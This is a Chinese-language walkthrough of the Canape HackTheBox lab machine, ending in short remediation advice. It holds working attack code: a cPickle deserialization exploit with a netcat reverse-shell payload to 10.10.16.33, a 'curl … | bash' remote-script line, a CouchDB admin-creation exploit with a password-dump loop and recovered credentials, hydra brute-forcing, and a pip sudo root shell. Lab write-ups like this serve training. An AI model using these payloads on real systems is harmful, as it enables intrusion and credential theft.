Canape靶机渗透测试技术分析报告

1. 信息收集阶段

1.1 目标识别

IP地址: 10.10.10.70
域名: canape.htb, git.canape.htb
操作系统: Ubuntu Linux
开放端口:
- 80/tcp: Apache httpd 2.4.29
- 65535/tcp: OpenSSH 7.6p1

1.2 端口扫描技术

使用Masscan和Nmap进行扫描:

ip='10.10.10.70'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

1.3 Web服务发现

HTTP服务发现Git信息泄露:

http-git: 
  10.10.10.70:80/.git/
  Git repository found!
  Repository description: Unnamed repository; edit this file 'description' to name the...
  Last commit message: final # Please enter the commit message for your changes. Li...
  Remotes:
    http://git.canape.htb/simpsons.git

2. 漏洞利用阶段

2.1 Git信息泄露利用

添加hosts记录:

echo '10.10.10.70 canape.htb git.canape.htb'>>/etc/hosts

使用git-dumper工具下载Git仓库:

git-dumper http://canape.htb/.git ./

查看Git历史记录:

git log -p --all

2.2 cPickle反序列化漏洞分析

漏洞存在于Flask应用的/submit和/check路由中:

@app.route("/submit", methods=["GET", "POST"])
def submit():
    # ...省略部分代码...
    p_id = md5(char + quote).hexdigest()
    outfile = open("/tmp/" + p_id + ".p", "wb")
    outfile.write(char + quote)  # 写入用户可控数据
    outfile.close()

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()
    if "p1" in data:
        item = cPickle.loads(data)  # 危险的反序列化操作
    else:
        item = data
    return "Still reviewing: " + item

2.3 反序列化RCE利用

利用脚本:

import os
from requests import post
import cPickle
from hashlib import md5

cmd = ''
chars = 'S\'krusty\'\n'

class exp(object):
    def __reduce__(self):
        return (os.system, (cmd,))

def check_exec(payload):
    smd5 = md5(chars+payload).hexdigest()
    print "[+] md5:"+smd5
    post('http://canape.htb/check',data={"id": smd5})

def submit():
    payload = cPickle.dumps(exp())
    stat = post('http://canape.htb/submit',data={
        "character":chars,
        "quote": payload
    })
    if stat.status_code == 200:
        print '[+] Execute payload'
        check_exec(payload)
        print '[+] Done...'
    else:
        print '[!] ERROR'

if __name__ == '__main__':
    cmd = r'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 443 >/tmp/f'
    submit()

2.4 内网扫描

使用KTOR扫描工具进行内网扫描:

curl http://10.10.16.33/ktor.sh|bash -s -- -l -p all

3. 权限提升阶段

3.1 CouchDB漏洞利用

检测CouchDB服务:

curl http://127.0.0.1:5986
ps -aux |grep couchdb

创建管理员用户(利用Erlang解析器漏洞):

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:maptnh' \
--data-binary '{
    "type": "user",
    "name": "maptnh",
    "roles": ["_admin"],
    "roles": [],  # 重复的roles字段导致漏洞
    "password": "maptnh"
}'

查询数据库信息:

# 列出所有数据库
curl http://maptnh:maptnh@localhost:5984/_all_dbs -s

# 查询passwords数据库
curl http://maptnh:maptnh@localhost:5984/passwords/_all_docs -s

# 提取所有密码文档
curl -s http://maptnh:maptnh@localhost:5984/passwords/_all_docs | \
grep -o '"id":[^,]*' | awk -F ':"' '{print $2}' | \
while read id; do curl -s "http://maptnh:maptnh@localhost:5984/passwords/$id"; done

获取到的凭证:

User        Item        Password
ssh        0B4jyA0xtytZi7esBNGp    couchy
couchdb    r3lax0Nth3C0UCH          homer
simpsonsfanclub.com    h02ddjdj2k2k2    homerj0121

3.2 SSH登录

使用获取的凭证尝试SSH登录:

hydra -L ./user -P ./pass ssh://10.10.10.70 -s 65535 -t 4

3.3 pip权限提升

利用pip的sudo权限进行提权:

方法1:

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > /tmp/setup.py
sudo -u root /usr/bin/pip install /tmp/setup.py

方法2:

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo -u root /usr/bin/pip install $TF

4. 关键发现总结

Git信息泄露: 暴露了网站源代码和开发历史
cPickle反序列化漏洞: 导致远程代码执行
CouchDB配置不当: 允许创建管理员用户并获取敏感凭证
pip的sudo权限滥用: 最终获得root权限

5. 安全建议

避免在Web目录下存放.git文件夹
不要使用不安全的反序列化方法(cPickle)
正确配置CouchDB的访问控制
限制sudo权限，避免pip等命令以root身份执行